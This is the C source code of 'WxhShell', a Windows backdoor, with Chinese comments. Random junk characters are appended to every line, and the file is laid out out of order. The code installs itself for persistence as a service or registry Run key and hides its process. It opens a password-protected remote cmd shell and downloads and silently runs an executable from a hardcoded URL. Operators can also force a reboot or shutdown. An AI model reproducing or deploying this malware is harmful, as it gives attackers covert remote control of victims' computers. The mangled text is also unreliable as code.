    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tz&y*e&  
    if(Boot(SHUTDOWN)) aG 92ay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); afb+GA!  
    else { x*Y@Q?`>5W  
    closesocket(wsh); a$Cdhx !  
    ExitThread(0); |lkNi  
    } `^4vT3e  
    break; -Q U^c2  
    } 1Q. \s_2  
  // 获取shell ]._LLSzWhg  
  case 's': { !ki.t  
    CmdShell(wsh); %C=]1Q=T)  
    closesocket(wsh); |e2be1LD  
    ExitThread(0); [NTtz <i@  
    break; :P(K2q3  
  } &Ky_v^  
  // 退出 :"!9_p(,,  
  case 'x': { 14"J d\M8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hc'-Dh  
    CloseIt(wsh); %Pqf{*d8  
    break; |H! 9fZO  
    } :G<E^<M\)^  
  // 离开 !1G."fo  
  case 'q': { S!sqbLrBn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W<E47  
    closesocket(wsh); h@LHRMO  
    WSACleanup(); jWYV#ifs2  
    exit(1); Co3:*nbRv  
    break; 17OH]  
        } 4~N[%>zJ  
  } }ga@/>Sl&  
  } S*,rGCt'T  
w#g#8o>'  
  // 提示信息 P';?YV0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b@2J]Ay E*  
} jvQ*t_L  
  } H8'Z#"h  
DHY@akhrK  
  return; !eUDi(   
} K/}rP[H  
g{P%s'%*  
// shell模块句柄 P8?Fm`  
int CmdShell(SOCKET sock) pm9%%M$  
{ gB4U*D0[e~  
STARTUPINFO si; +a*^{l}AST  
ZeroMemory(&si,sizeof(si)); p+Y>F\r&w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <dvy"Dx   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; + Q6l*:<|c  
PROCESS_INFORMATION ProcessInfo; Zw~+Pb  
char cmdline[]="cmd"; uy}%0vLo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `3Uj{w/Q:L  
  return 0; Q pmsOp|  
} E=#0I]v[  
(~J^3O]Fo  
// 自身启动模式 4DOK4{4?5  
int StartFromService(void) _{ZqO;[u  
{ %=BMZRn  
typedef struct Zt3)]sB  
{ &RTX6%'KY  
  DWORD ExitStatus; z1Ov|Q`  
  DWORD PebBaseAddress; ~D|5u\D-  
  DWORD AffinityMask; +EAT:,  
  DWORD BasePriority; ;IpT} ,  
  ULONG UniqueProcessId; fhCc! \  
  ULONG InheritedFromUniqueProcessId; +d%L\^?F  
}   PROCESS_BASIC_INFORMATION; V14B[|YM<  
V$uk6#  
PROCNTQSIP NtQueryInformationProcess; W mm4hkf  
%.z,+Zz?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A?@@*$&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WsD M{1c  
CQpCS_M  
  HANDLE             hProcess; ,do58i K  
  PROCESS_BASIC_INFORMATION pbi;  HyR!O>  
U5 r7j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wy%s1iu  
  if(NULL == hInst ) return 0; RAp=s  
/P 2[:[w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )<xypDQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &< !Ufa&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2r 6'O6v  
A'%1ZQ33O  
  if (!NtQueryInformationProcess) return 0; hbc uK&  
"C*B,D*}:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w` DW(hXJ  
  if(!hProcess) return 0; bUY>st'  
`w.AQ?p@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _H^^y$+1  
.T*GN|@$!  
  CloseHandle(hProcess); Kb^>-[Yx  
8O"U 0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .E@|D6$D  
if(hProcess==NULL) return 0; RO3oP1@B  
-!8(bjlJ&  
HMODULE hMod; _A~4NW{U7  
char procName[255]; :(_+7N[KA  
unsigned long cbNeeded; X@|&c]]  
4Ua> Yw0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1lpwZ"  
-&e92g&n   
  CloseHandle(hProcess); [JaS??ig  
Nlj^D m  
if(strstr(procName,"services")) return 1; // 以服务启动 q SejLh6  
/N-_FMl?  
  return 0; // 注册表启动 ,Hgc-7g@Y  
} $ F S_E  
1LY8Ma]E  
// 主模块 c~o+WI Ym  
int StartWxhshell(LPSTR lpCmdLine) M+!x}$ &v  
{ U #~;)fZ  
  SOCKET wsl; :>81BuMvg  
BOOL val=TRUE; b,IocD6v;P  
  int port=0; .{S8f#p9T  
  struct sockaddr_in door; efY8M2  
1+7GUSIb  
  if(wscfg.ws_autoins) Install(); _e7-zg$/  
[qoXMuC|P  
port=atoi(lpCmdLine); dgo3'ZO  
2:LHy[{5  
if(port<=0) port=wscfg.ws_port; O0PJ6:9P  
Gc$gJnQio  
  WSADATA data; WX4;l(P L=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y4Er @8I`  
D\H/   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ayBRWT0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AE@NOM7u  
  door.sin_family = AF_INET; Urgtg37  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TH&qX  
  door.sin_port = htons(port); ++Ww88820  
e2-Dq]p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x^*1gv $o  
closesocket(wsl); pN&c(=If  
return 1; m~'? /!!  
} D.%B$Y;G  
Y[SU&LM  
  if(listen(wsl,2) == INVALID_SOCKET) { sFDG)  
closesocket(wsl); W~Z<1[  
return 1; a83g\c5   
} <*EZ@XoN>  
  Wxhshell(wsl); LC0d/hM  
  WSACleanup(); |*mL1#bB  
Xes|[*Y!V  
return 0; |7@O( $b  
AddeaB5<  
} aV1lJ ;0  
Hk7K`9  
// 以NT服务方式启动 -]:G L>b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7'N S9|  
{ [\Qr. 2  
DWORD   status = 0; cubUq5  
  DWORD   specificError = 0xfffffff; ]h9!ei [  
A*tKF&U5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S. |FL%;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =IKEb#R/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  oK 9'  
  serviceStatus.dwWin32ExitCode     = 0; Yct5V,X^  
  serviceStatus.dwServiceSpecificExitCode = 0; 0qFH s  
  serviceStatus.dwCheckPoint       = 0; MEiRj]t  
  serviceStatus.dwWaitHint       = 0; |3? 8)z\n  
B%\gkl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5HS~op2n/  
  if (hServiceStatusHandle==0) return; q*)+K9LRk  
rbqo"g`  
status = GetLastError(); GYB+RU}],  
  if (status!=NO_ERROR) >\A8#@1  
{ k#:2'!7G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (5$ZvXx?}  
    serviceStatus.dwCheckPoint       = 0; AD('=g J  
    serviceStatus.dwWaitHint       = 0; VzlDHpG  
    serviceStatus.dwWin32ExitCode     = status; K^t?gt@k}  
    serviceStatus.dwServiceSpecificExitCode = specificError; rgcWRt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W0cgI9=9  
    return; %}>dqUyQ  
  } /Y^8SO4  
|vFj*XU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `3q;~ 9  
  serviceStatus.dwCheckPoint       = 0; DW(~Qdk  
  serviceStatus.dwWaitHint       = 0; 0F;,O3Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1f (DU4h  
} k6\^p;!Y  
C+N F9N  
// 处理NT服务事件,比如:启动、停止 {w^uWR4f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jQj,q{eA  
{ E&~nps8e  
switch(fdwControl) giavJ|  
{ 7 boJ*  
case SERVICE_CONTROL_STOP: kVDe6},D7  
  serviceStatus.dwWin32ExitCode = 0; %|XE#hw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rn+4DcR  
  serviceStatus.dwCheckPoint   = 0; 1QJBb \  
  serviceStatus.dwWaitHint     = 0; 7k=fZ$+O  
  { m W`oq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v@EQ^C2.&  
  } yy(A(}  
  return; bb=uF1  
case SERVICE_CONTROL_PAUSE: F#+.>!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ey&aB YR  
  break; HT`1E0G8)  
case SERVICE_CONTROL_CONTINUE: oYM,8 K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >E"9*:.^a  
  break; u2sR.%2U<  
case SERVICE_CONTROL_INTERROGATE: rU#li0 >  
  break; mxqG-*ch-  
}; ?n'O Fpd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %kU'hzLg  
} q9}m!*8e  
eK`PxoTI-I  
// 标准应用程序主函数 2>hz_o{5',  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2RppP?M!  
{ V{Q kN7-  
NyPd5m:  
// 获取操作系统版本 eXy"^x p^  
OsIsNt=GetOsVer(); s'_,:R\VM>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E(L<L1:"  
@Z\~  
  // 从命令行安装 C9KWa*3  
  if(strpbrk(lpCmdLine,"iI")) Install(); cBEHH4U  
t;#Gmo  
  // 下载执行文件 zX5G;,_  
if(wscfg.ws_downexe) { fnH3 CE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G?V"SU.  
  WinExec(wscfg.ws_filenam,SW_HIDE); QD<eQsvV  
} jQtSwVDr  
:%tuNJjj  
if(!OsIsNt) { F,v 7ifo#f  
// 如果时win9x,隐藏进程并且设置为注册表启动 OV5e#AOy)  
HideProc(); ESDB[ O+`x  
StartWxhshell(lpCmdLine); :):zNn_>`  
} VO`"<  
else t=dO  
  if(StartFromService()) `mB.pz[  
  // 以服务方式启动 4#Eul  
  StartServiceCtrlDispatcher(DispatchTable); Jyu`-=It  
else mtw9AoO  
  // 普通方式启动 g"y?nF.&F  
  StartWxhshell(lpCmdLine); BXTN>d27  
l_+A5Xy  
return 0; vg^Myn   
} O{n<WQd{CY  
5N1 K~".  
=s[ &;B`s  
Gc;B[/:  
=========================================== 9e5gy  
(fXq<GXAn/  
l \}25 e  
GNghB(  
.[f;(WR  
1VfSSO  
" #pu}y,QN$  
o =9'  
#include <stdio.h> YsAF{  
#include <string.h> k|#Zy,  
#include <windows.h> #?m{YT{P  
#include <winsock2.h> -2lRia  
#include <winsvc.h> *ro.mQ_  
#include <urlmon.h> 3A R%&:-  
%N{sD[^  
#pragma comment (lib, "Ws2_32.lib") QGPR.<D)B  
#pragma comment (lib, "urlmon.lib") !0dX@V'r  
@)z*BmP  
#define MAX_USER   100 // 最大客户端连接数 ;E's4jWq  
#define BUF_SOCK   200 // sock buffer _0]QS4a][c  
#define KEY_BUFF   255 // 输入 buffer uL>:tb  
@"8~Y|L93  
#define REBOOT     0   // 重启 8_iHVc;<  
#define SHUTDOWN   1   // 关机 t F/nah  
.&(8(C  
#define DEF_PORT   5000 // 监听端口 4e/cqN 6  
sV'v* 1|  
#define REG_LEN     16   // 注册表键长度 Mdky^;qq3;  
#define SVC_LEN     80   // NT服务名长度 gfVDqDF  
<|V'pim  
// 从dll定义API 0 pNo`Bm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #HDesen  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Mil?^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _m7c o :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {]M>Y%j48  
M c@GH  
// wxhshell配置信息 )l{A{f6O  
struct WSCFG { YOKR//|3  
  int ws_port;         // 监听端口 N ^f}ui i  
  char ws_passstr[REG_LEN]; // 口令 > Z++^YVE  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Qk{5=l6P  
  char ws_regname[REG_LEN]; // 注册表键名 `]hCUaV   
  char ws_svcname[REG_LEN]; // 服务名 ZvyjMLf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h60\ Y 8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -eq =4N=s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uWrFunh%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }s6G!v^2""  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gA:[3J,[;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CK Mv7  
Z^+a*^w~{  
}; D1! {S7  
1t%<5O;R  
// default Wxhshell configuration  wQw-:f-  
struct WSCFG wscfg={DEF_PORT, 7*g(@d  
    "xuhuanlingzhe", ?.j,Bq5At  
    1, 2MT_#r_  
    "Wxhshell", TnxU/)  
    "Wxhshell", 9C>ynH  
            "WxhShell Service", qSR? ,G  
    "Wrsky Windows CmdShell Service", V7n >,k5  
    "Please Input Your Password: ", <THUsY`3P&  
  1, xiJz`KD&  
  "http://www.wrsky.com/wxhshell.exe", @?vLAsp\  
  "Wxhshell.exe" xBt<Yt"  
    }; `rq<jtf+  
,0.|P`|w  
// 消息定义模块 &*ZC0V3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Lc3a$qtx5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L77EbP`P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Wq#beBb  
char *msg_ws_ext="\n\rExit."; ^ `E@/<w8  
char *msg_ws_end="\n\rQuit."; aulaX/'-_  
char *msg_ws_boot="\n\rReboot..."; [[&)cbv  
char *msg_ws_poff="\n\rShutdown..."; WRY~fM  
char *msg_ws_down="\n\rSave to "; F*X%N_n  
.&L^J&V  
char *msg_ws_err="\n\rErr!"; ^^'[%ok  
char *msg_ws_ok="\n\rOK!"; 9Yd-m  
UXQb ={  
char ExeFile[MAX_PATH]; }`4K)(>4nG  
int nUser = 0; SCI1bMf  
HANDLE handles[MAX_USER]; &EGY+p|2Y  
int OsIsNt; n)Hk8)^8  
5(KG=EHj_  
SERVICE_STATUS       serviceStatus; $Llv p bl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b_ypsGE]5!  
"u,sRbL  
// 函数声明 tw]/,>\G  
int Install(void); y 'mlee  
int Uninstall(void); TXx'7[  
int DownloadFile(char *sURL, SOCKET wsh); v=j>^F Z  
int Boot(int flag); G u6[{u  
void HideProc(void); >]^>gUmq  
int GetOsVer(void); Io09W^  
int Wxhshell(SOCKET wsl); 98jD"*W5  
void TalkWithClient(void *cs); .r(^h/IF  
int CmdShell(SOCKET sock); h1E PaL  
int StartFromService(void); FBcm;cjH  
int StartWxhshell(LPSTR lpCmdLine); M,ppCHy/$  
$}V7(wu 6@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Yn;G7cK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N*HH,m&  
u1wg C#  
// 数据结构和表定义 kz$(V(k<  
SERVICE_TABLE_ENTRY DispatchTable[] = >QA/Mi~R  
{ 'G52<sF  
{wscfg.ws_svcname, NTServiceMain}, 2(hvv-  
{NULL, NULL} pEY>A_F  
}; Q;=6ag'  
#`r(zI[  
// 自我安装 +_P8'e%Iy  
int Install(void) Tln9q0"W  
{ w< v1 N  
  char svExeFile[MAX_PATH]; _F3KFQ4,S-  
  HKEY key; `B:B7Cpvn  
  strcpy(svExeFile,ExeFile); (/('nY  
2B5A!? ~>  
// 如果是win9x系统,修改注册表设为自启动 Jk%'mEGE  
if(!OsIsNt) { (21']x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zUNH8=U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 10/x'#(  
  RegCloseKey(key); _s2m-jm7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { ( _B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H\ {E%7^h-  
  RegCloseKey(key); fm[_@L% x  
  return 0; v/]Qq  
    } l t&$8jh  
  } OTnu{<.a  
} %3ou^mcj  
else { U.HoFf+HN  
.MzOLv   
// 如果是NT以上系统,安装为系统服务 mu 2 A%"7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \nrgAC-b  
if (schSCManager!=0) =DGn,i9  
{ 44Q6vb?  
  SC_HANDLE schService = CreateService '" ^ B&W  
  ( UwZu:[T6H  
  schSCManager, :U!'U;uQ  
  wscfg.ws_svcname, ]jZiW1C*a  
  wscfg.ws_svcdisp, (zjz]@qJ  
  SERVICE_ALL_ACCESS, bELIRM9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s*aH`M7^0  
  SERVICE_AUTO_START, +Gk! t]dy  
  SERVICE_ERROR_NORMAL, '2 w XV;`  
  svExeFile, ,}eRnl\  
  NULL, sM #!Xl;  
  NULL, V h Z=,m  
  NULL, .WBI%ci  
  NULL, ;Fx')  
  NULL _)OA$  
  );  )GB3=@  
  if (schService!=0) $o/0A  
  { ~gSwxGT7d  
  CloseServiceHandle(schService); 'bZMh9|  
  CloseServiceHandle(schSCManager); YgO aZqN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *?EO n-  
  strcat(svExeFile,wscfg.ws_svcname); (~q#\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pz5ebhgq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IOSuaLH^  
  RegCloseKey(key); IlcNT_ 5a8  
  return 0; Pd)K^;em  
    } z\xiACIc  
  } BM|-GErE  
  CloseServiceHandle(schSCManager); b*btkaVue  
} 2N L:\%wz  
} >{phyByI  
6T R8D\  
return 1; 83{x"G3>  
} 'LJ %.DJ  
qf_h b  
// 自我卸载 *37LN  
int Uninstall(void) "bHtf_  
{ ~AEqfIx*^&  
  HKEY key; R59e&   
3I'M6WA  
if(!OsIsNt) { l9M#]*{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f28gE7Y\a  
  RegDeleteValue(key,wscfg.ws_regname); #)W8.  
  RegCloseKey(key); ?)Tz'9l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?l)}E  
  RegDeleteValue(key,wscfg.ws_regname); ^Nd|+}  
  RegCloseKey(key); kS@9c _3S  
  return 0; I>A^5nk  
  } bs<WH`P  
} Y{%4F%Oy  
} )ZS:gD  
else { K*([9VZ  
_7-"Vo X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QV nO  
if (schSCManager!=0) XD_P\z  
{ &4mfzpK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [_g#x(=  
  if (schService!=0) 1TK #eU  
  { D)H?=G  
  if(DeleteService(schService)!=0) { +Fu@I{"A  
  CloseServiceHandle(schService); ]%NO"HzF~  
  CloseServiceHandle(schSCManager); :J=+;I(UI  
  return 0; Gk{ "O%AE  
  } %f_)<NP9=  
  CloseServiceHandle(schService); 9s;!iDFn  
  } xHM&csL  
  CloseServiceHandle(schSCManager); #U?EOm  
} qP7&LtU  
} . 1{vpX  
Ff)~clIK '  
return 1; ]ro1{wm!WU  
} [oQ`HX1g  
e.3sAUHZ-  
// 从指定url下载文件 5~`|)~FA  
int DownloadFile(char *sURL, SOCKET wsh) IQ(]66c ,  
{ (5f5P84x  
  HRESULT hr; t7U,AQ=;P5  
char seps[]= "/"; 4=?Ok":8  
char *token; 8>%jZ%`a  
char *file; /{eih]`x(  
char myURL[MAX_PATH]; .LeF|EQU\@  
char myFILE[MAX_PATH]; 9G`FY:(K  
7$q2v=tH_  
strcpy(myURL,sURL); F8|5_214'  
  token=strtok(myURL,seps); 1+16i=BF)  
  while(token!=NULL) N=O+X~  
  { [[*0MA2Y  
    file=token; buq *abON  
  token=strtok(NULL,seps); 4%',scn  
  } ~xlMHf  
+LQs.*  
GetCurrentDirectory(MAX_PATH,myFILE); :=iM$_tp'  
strcat(myFILE, "\\"); W(u6J#2  
strcat(myFILE, file); ZbZAx:L  
  send(wsh,myFILE,strlen(myFILE),0); ;y?D1o^r8W  
send(wsh,"...",3,0); `>`K7-H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .236d^l  
  if(hr==S_OK) 4'}_qAT  
return 0; .J<qfQ  
else w]o:c(x@  
return 1; ^|F Vc48{  
s60:0>  
} NE=#5?6%g7  
_Cv[`e.  
// 系统电源模块 *uI hxMX  
int Boot(int flag) K-"HcHuF  
{ 3zA8pI w  
  HANDLE hToken; V<~_OF  
  TOKEN_PRIVILEGES tkp; B>p0FQ.  
^H\-3/si*  
  if(OsIsNt) { aowPji$H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W[1f]w3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PtPGi^  
    tkp.PrivilegeCount = 1; f}9PEpa,Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H/^TXqQ8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lH,]ZA./  
if(flag==REBOOT) { XoH[MJC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *Lb(urf  
  return 0; 0?5%  
} 2 d>d(^  
else { :YRzI(4J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U!;aM*67  
  return 0; "dLMBY~  
} lkSz7dr@  
  } bzj!d|T`  
  else {  f>wW}-  
if(flag==REBOOT) { Il&"=LooZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5uD#=/oV  
  return 0; y3@x*_K8  
} (Qh7bfd  
else { A&}nRP9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r 0?hX  
  return 0; p~d)2TC4#  
} }VGI Y>v  
} vS J<  
Z68Wf5@to&  
return 1; 9 .&Or4>  
} :,}:c%-^"  
nuQLq^e  
// win9x进程隐藏模块 ik1L  
void HideProc(void)  'QekQ];  
{ FSYjp{z5  
@]ptY*   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %<ptkZK#  
  if ( hKernel != NULL ) ^7s6J {<  
  { :#W>SO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hs4zJk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P^_d$  
    FreeLibrary(hKernel); Xb+if  
  } q/w6sQx$  
T`w};]z^d2  
return; *09\\ G  
} qK6  uU9z  
32-3C6f@oZ  
// 获取操作系统版本 bKt3x+x(  
int GetOsVer(void) vVAZSR#  
{ xeP;"J}  
  OSVERSIONINFO winfo; u>Axq3F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -B3w RAEt  
  GetVersionEx(&winfo); 9i2vWSga  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C_^R_  
  return 1; 7AtXG^lK  
  else #Zavdkw=d  
  return 0; /4-eoTxy  
} c@o/Cv  
/P8eI3R  
// 客户端句柄模块 i:Z.;z$1  
int Wxhshell(SOCKET wsl) QhE("}1  
{ rD(ep~^M  
  SOCKET wsh; y/sWy1P7  
  struct sockaddr_in client; Y^*$PED?  
  DWORD myID; ;cm{4%=Iqe  
p3A-WK|NX  
  while(nUser<MAX_USER) [vjkU7;7A  
{ >gi{x|/  
  int nSize=sizeof(client);  ]O9f"cj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Uwm[q+sTp  
  if(wsh==INVALID_SOCKET) return 1; sm&rR=b  
JmJ,~_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B=Jd%Av  
if(handles[nUser]==0) 0.Ol@fO  
  closesocket(wsh); =<FZ{4  
else 3d)+44G_)  
  nUser++; {R{%Z  
  } : .w'gU_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .&yWHdQC:  
(27F   
  return 0; VY&9kN  
} 85@6uBh  
8DS5<  
// 关闭 socket knK=ENf;e  
void CloseIt(SOCKET wsh) ;'18  
{ 1\608~ZH  
closesocket(wsh); k}0  
nUser--; ={i&F  
ExitThread(0); +$mskj0s  
} HG3>RcB  
qP^0($  
// 客户端请求句柄 E~g}DKs_5  
void TalkWithClient(void *cs) )RCqsFjK  
{ wPO@f~[Ji  
ohtn^o;C}  
  SOCKET wsh=(SOCKET)cs; _2 !e!Z  
  char pwd[SVC_LEN]; MdoWqpC  
  char cmd[KEY_BUFF]; fi4/@tV?$L  
char chr[1]; % /4_|@<'  
int i,j; J%[N-  
T#^6u)  
  while (nUser < MAX_USER) { "KT nX#<0  
{FmFu$z+[  
if(wscfg.ws_passstr) { u/:Sf*;?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "vRqtEBO@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gMK3o8B/  
  //ZeroMemory(pwd,KEY_BUFF); #/v_ h6$  
      i=0; Y)5uK:)^  
  while(i<SVC_LEN) { :ktX7p~  
!/(}meZj  
  // 设置超时 TtjSLkF  
  fd_set FdRead; &fy8,}  
  struct timeval TimeOut; x2&! PpM  
  FD_ZERO(&FdRead); xY'YbHFz  
  FD_SET(wsh,&FdRead); leYmV FE  
  TimeOut.tv_sec=8; nT .2jk+  
  TimeOut.tv_usec=0; 'nDT.i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I/-w65J]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CY).I`aJ  
r`g;k&"a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4fK{S  
  pwd=chr[0]; Y(yJ|y&  
  if(chr[0]==0xd || chr[0]==0xa) { i\z0{;f|GX  
  pwd=0; PaeafL65=  
  break; Pk]9.e1_  
  } Ay6rUN1ef  
  i++; ?# c@Ag %  
    } `V_/Cz_}D  
:3*oAh8|  
  // 如果是非法用户,关闭 socket %mv x}xV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NGQIoKC  
} ]{U*+K%,J  
6)<oO(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Izg&u &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jW$f(qAbm  
hgr ,v"  
while(1) { qhf/B)  
<0qY8  
  ZeroMemory(cmd,KEY_BUFF); KQZRzX>0  
(V?`W7  
      // 自动支持客户端 telnet标准   <gz MDX[^M  
  j=0; 5.HztNL  
  while(j<KEY_BUFF) { & ~G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <4HuV.K  
  cmd[j]=chr[0];  F%$Ws>l  
  if(chr[0]==0xa || chr[0]==0xd) { 00wH#_fm  
  cmd[j]=0; ]Oh>ECA|D  
  break; Ae zXou&  
  } ';!UJWYl  
  j++; "m)O13x  
    } .7Bav5 ;  
A_ z:^9  
  // 下载文件 %a^!~qV  
  if(strstr(cmd,"http://")) { P3FpU<OBwp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2m}]z.w#  
  if(DownloadFile(cmd,wsh)) EMH}VigR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl^;iE!-  
  else c+XR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W]7?;#Hpk  
  } (X'K)*G#  
  else { WW@"75t  
N5]68Fu'({  
    switch(cmd[0]) { HY#("=9< h  
  8(K~QvE~  
